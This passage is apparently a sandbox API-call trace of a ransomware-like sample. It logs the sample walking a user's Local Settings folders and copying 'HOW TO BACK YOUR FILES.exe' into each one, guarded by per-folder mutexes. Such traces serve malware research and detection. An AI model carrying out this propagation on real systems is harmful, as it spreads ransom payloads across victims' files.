YOUR FILES.exe") returned 1 [0102.060] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.060] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0102.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b218 [0102.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x542900 [0102.060] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0102.060] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0102.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.064] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0102.064] lstrcmpiW (lpString1="Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.064] lstrcmpiW (lpString1="Office", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.064] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Office" | out: lpString1="Office") returned="Office" [0102.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dd60 [0102.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522d80 [0102.064] lstrcatW (in: lpString1="Office", lpString2="\\" | out: lpString1="Office\\") returned="Office\\" [0102.064] lstrcatW (in: lpString1="Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Office\\HOW TO BACK YOUR FILES.exe") returned="Office\\HOW TO BACK YOUR FILES.exe" [0102.064] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.067] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0102.067] lstrcmpiW (lpString1="Outlook", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.067] lstrcmpiW (lpString1="Outlook", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.067] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Outlook" | out: lpString1="Outlook") returned="Outlook" [0102.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546070 [0102.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522e28 [0102.067] lstrcatW (in: lpString1="Outlook", lpString2="\\" | out: lpString1="Outlook\\") returned="Outlook\\" [0102.067] lstrcatW (in: lpString1="Outlook\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook\\HOW TO BACK YOUR FILES.exe") returned="Outlook\\HOW TO BACK YOUR FILES.exe" [0102.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Outlook\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\outlook\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.071] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0102.071] lstrcmpiW (lpString1="Publisher", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.071] lstrcmpiW (lpString1="Publisher", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.071] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher" [0102.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546088 [0102.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa4) returned 0x512cf8 [0102.072] lstrcatW (in: lpString1="Publisher", lpString2="\\" | out: lpString1="Publisher\\") returned="Publisher\\" [0102.072] lstrcatW (in: lpString1="Publisher\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Publisher\\HOW TO BACK YOUR FILES.exe") returned="Publisher\\HOW TO BACK YOUR FILES.exe" [0102.072] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.077] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0102.078] lstrcmpiW (lpString1="TaskSchedulerConfig", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.078] lstrcmpiW (lpString1="TaskSchedulerConfig", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.078] lstrcpyW (in: lpString1=0x241e8d8, lpString2="TaskSchedulerConfig" | out: lpString1="TaskSchedulerConfig") returned="TaskSchedulerConfig" [0102.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5460a0 [0102.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb8) returned 0x51cc48 [0102.078] lstrcatW (in: lpString1="TaskSchedulerConfig", lpString2="\\" | out: lpString1="TaskSchedulerConfig\\") returned="TaskSchedulerConfig\\" [0102.078] lstrcatW (in: lpString1="TaskSchedulerConfig\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TaskSchedulerConfig\\HOW TO BACK YOUR FILES.exe") returned="TaskSchedulerConfig\\HOW TO BACK YOUR FILES.exe" [0102.078] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\TaskSchedulerConfig\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\taskschedulerconfig\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.083] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0102.083] lstrcmpiW (lpString1="Visio", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.083] lstrcmpiW (lpString1="Visio", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.083] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Visio" | out: lpString1="Visio") returned="Visio" [0102.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5460b8 [0102.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522ed0 [0102.083] lstrcatW (in: lpString1="Visio", lpString2="\\" | out: lpString1="Visio\\") returned="Visio\\" [0102.083] lstrcatW (in: lpString1="Visio\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Visio\\HOW TO BACK YOUR FILES.exe") returned="Visio\\HOW TO BACK YOUR FILES.exe" [0102.083] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Visio\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.086] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0102.086] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.086] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.086] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail" [0102.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5460d0 [0102.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x5429b8 [0102.086] lstrcatW (in: lpString1="Windows Mail", lpString2="\\" | out: lpString1="Windows Mail\\") returned="Windows Mail\\" [0102.086] lstrcatW (in: lpString1="Windows Mail\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Mail\\HOW TO BACK YOUR FILES.exe") returned="Windows Mail\\HOW TO BACK YOUR FILES.exe" [0102.086] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0102.092] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.092] lstrcmpiW (lpString1="Windows Media", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.092] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media" [0102.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5460e8 [0102.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xac) returned 0x542a70 [0102.092] lstrcatW (in: lpString1="Windows Media", lpString2="\\" | out: lpString1="Windows Media\\") returned="Windows Media\\" [0102.092] lstrcatW (in: lpString1="Windows Media\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Media\\HOW TO BACK YOUR FILES.exe") returned="Windows Media\\HOW TO BACK YOUR FILES.exe" [0102.092] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.095] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0102.095] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.095] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.095] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar" [0102.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546100 [0102.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x542b28 [0102.095] lstrcatW (in: lpString1="Windows Sidebar", lpString2="\\" | out: lpString1="Windows Sidebar\\") returned="Windows Sidebar\\" [0102.095] lstrcatW (in: lpString1="Windows Sidebar\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Sidebar\\HOW TO BACK YOUR FILES.exe") returned="Windows Sidebar\\HOW TO BACK YOUR FILES.exe" [0102.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0102.098] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.098] ReleaseMutex (hMutex=0xec) returned 1 [0102.098] CloseHandle (hObject=0xec) returned 1 [0102.098] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help" [0102.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522840 | out: hHeap=0x4f0000) returned 1 [0102.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a418 | out: hHeap=0x4f0000) returned 1 [0102.098] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help") returned 76 [0102.098] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\62657611055214C7D7367AA39B6FB4F0") returned 0xec [0102.098] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.098] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help" [0102.098] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.099] GetLastError () returned 0x0 [0102.099] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.099] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.100] CloseHandle (hObject=0xf4) returned 1 [0102.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.100] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.100] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.100] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.100] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.102] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla" [0102.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ba08 | out: hHeap=0x4f0000) returned 1 [0102.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a430 | out: hHeap=0x4f0000) returned 1 [0102.102] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla") returned 69 [0102.102] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\715A3182BD30F42E7BFAEF679B436518") returned 0xec [0102.102] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.103] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla" [0102.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.103] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.103] GetLastError () returned 0x0 [0102.103] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.104] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.105] CloseHandle (hObject=0xf4) returned 1 [0102.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.105] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.105] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.105] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.105] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Firefox" | out: lpString1="Firefox") returned="Firefox" [0102.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a430 [0102.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522840 [0102.105] lstrcatW (in: lpString1="Firefox", lpString2="\\" | out: lpString1="Firefox\\") returned="Firefox\\" [0102.105] lstrcatW (in: lpString1="Firefox\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Firefox\\HOW TO BACK YOUR FILES.exe") returned="Firefox\\HOW TO BACK YOUR FILES.exe" [0102.105] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\firefox\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc62b16e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.108] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0102.108] lstrcmpiW (lpString1="updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.108] lstrcmpiW (lpString1="updates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.108] lstrcpyW (in: lpString1=0x241e8d4, lpString2="updates" | out: lpString1="updates") returned="updates" [0102.108] RtlAllocateHeap 